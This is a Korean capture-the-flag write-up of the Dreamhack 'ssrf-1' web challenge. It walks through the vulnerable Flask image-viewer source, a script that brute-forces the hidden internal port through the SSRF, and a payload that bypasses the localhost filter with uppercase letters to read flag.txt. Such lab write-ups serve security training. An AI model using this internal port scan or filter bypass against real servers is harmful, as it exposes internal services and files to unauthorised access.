[웹 해킹] Dreamhack web-ssrf(Level 2)
#263
1. 개요
워게임 명 : ssrf-1
난이도 : Level 2
관련 개념 : Javascript, Python, Html, CSS, SSRF
문제 : SSRF 취약점을 이용하여 Flag 획득
SSRF란?
공격자가 악의적인 스크립트를 삽입하여 서버가 접근할 수 없는 내부 자원을 접근하도록 만드는 공격입니다.
해당 공격이 성공하면 공격자는 내부 정보를 탈취하거나 조작할 수 있습니다.
SSRF 강의에 포함된 워게임입니다.
2. 소스 코드 확인
1) HTML
1-1) base.html
가장 기본 페이지이며, Home, About, Contact 메뉴가 있을 것으로 보입니다.
1-2) index.html
인덱스 페이지이며, 이미지 뷰어 기능에 대한 링크가 삽입되어 있습니다.
1-3) img_viewer.html
이미지 뷰어에 해당되는 페이지입니다.
Input을 받고 있으며, default value는 /static 경로에 dream.png라는 이미지입니다.
submit 버튼이 있습니다.
2) python
2-1) 초기 선언 부분
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
2-2) app.route("/")
#루트 페이지
@app.route("/")
def index():
return render_template("index.html")
2-3) app.route("/img_viewer", methods=["GET", "POST"])
#이미지 뷰어 페이지
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
#페이지 반환
if request.method == "GET":
return render_template("img_viewer.html")
#
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
#IP주소 체크(로컬호스트인 경우 에러 이미지 반환)
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
#예외처리
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
#이미지 뷰어 페이지에서 이미지 출력
return render_template("img_viewer.html", img=img)
2-4) 로컬 웹 서버 생성
local_host = "127.0.0.1"
#무작위 포트 생성
local_port = random.randint(1500, 1800)
#로컬호스트, 무작위 포트로 웹서버 생성
local_server = http.server.HTTPServer(
#입력한 리소스 반환
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
#포트 출력
print(local_port)
2-5) 로컬 웹 서버 실행
#생성한 웹서버를 실행하는 함수
def run_local_server():
local_server.serve_forever()
#생성한 웹서버 실행
threading._start_new_thread(run_local_server, ())
2-6) 서비스 실행
#서비스 실행
app.run(host="0.0.0.0", port=8000, threaded=True)
3. 웹 화면 확인
1) 루트 페이지
가장 기본 화면입니다.
취약점을 테스트할 곳은 이미지 뷰어 페이지일 것으로 보입니다.
2) 이미지 뷰어 페이지
이미지 뷰어 페이지입니다.
default로 dream.png라는 이미지를 볼 수 있게 되어있는데 실행해보겠습니다.
실행하면 아래와 같이 이미지를 불러와 출력하는 서비스입니다.
4. 문제 풀이
1) 요구사항 파악
이미지 뷰어를 이용하여 로컬서버의 이미지를 불러올 수 있습니다.
이를 이용하여 flag 값이 저장되어있는 flag.txt 파일을 호출해야 합니다.
하지만 해당 파일을 불러오기 위해서는 로컬 웹 서버를 이용해야 하며, 로컬 웹서버를 접근하는데 사용되는 기본 경로는 코드에서 제한하고 있습니다.
따라서 로컬 웹 서버를 우회하여 접근한 다음 flag.txt 파일을 호출하여 값을 찾는 것이 이번 문제를 푸는 방법입니다.
2) flag.txt가 위치하고 있는 경로 입력해보기
문제를 보면 flag.txt는 /app 경로에 위치하고 있다고 합니다.
소스 코드를 분석해보면 따로 경로를 제한하고 있는 코드는 보이지 않습니다.
따라서 /app/flag.txt를 입력해봤는데 이미지가 아니다보니 깨진 이미지 파일로 출력됩니다.
이렇게 쉽게 찾는건가 싶었지만 base64로 디코딩해본 결과 에러를 출력하고 있었습니다.
아마 소스가 올라간 경로가 /app이고 함께 flag.txt파일도 함께 있는 것으로 보입니다.
즉, flag.txt 파일을 출력하려면 flag.txt를 입력해야한다는 뜻인데 이러한 경우에도 예외처리가 되어 값을 얻을 수 없습니다.
3) 이미지 호출 관련 자세히 살펴보기
이미지 뷰어와 관련된 소스를 상세하게 보면 URL을 호출하고 base64로 인코딩하여 렌더링 시킵니다.
default로 /static 경로에 있는 dream.png 파일을 이용하면 테스트가 가능한데 이 밖에도 다른 URL을 가진 이미지 주소를 넣을 경우 해당 이미지를 출력합니다.
4) 생성된 로컬 웹 서버 활용하기
소스코드에 보면 임의의 포트로 웹 서버를 생성해놓은게 있습니다.
위에서 확인한 내용을 바탕으로 flag 값을 얻기위해서는 생성된 로컬 웹 서버에서 flag.txt 파일 경로에 접근하여 파일을 호출해야할 것 같습니다.
하지만 여기서 문제는 loaclhost와 127.0.0.1은 소스에서 제한되어 있고 포트를 모른다는 두 가지 문제가 있습니다.
이 두개만 해결할 수 있다면 문제를 풀 수 있습니다.
5) 포트 번호 찾기
먼저 포트 번호를 찾아보도록 하겠습니다.
포트 번호를 찾는 소스는 강의에서 제공하고 있어 이를 이용하였습니다.
(이런 소스코드는 활용도가 높으니 꼭꼭 저장하시는 것을 권장드립니다.)
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
해당 코드를 서비스 포트와 함께 실행하면 로컬 웹 서버의 포트 번호를 확인할 수 있습니다.
6) 우회하여 로컬 웹 서버 접근하여 문제 풀기
이제 포트번호를 확인하였으니 우회하여 로컬 웹 서버에 접근 후 flag.txt가 저장되어 있는 경로를 호출하면됩니다.
localhost, 127.0.0.1은 막혀있지만 대문자를 이용하거나 URL을 인코딩하여 접근할 경우 접근이 가능합니다.
따라서 아래와 같이 입력하면 flag 값을 찾을 수 있습니다.
http://LOCALHOST:{포트번호(1591)}/flag.txt
그리고 주의하셔야할 점은 여기서 끝이 아닌 확인된 값을 base64로 디코딩해야 한다는 점입니다.
그 결과 flag값을 획득할 수 있었습니다.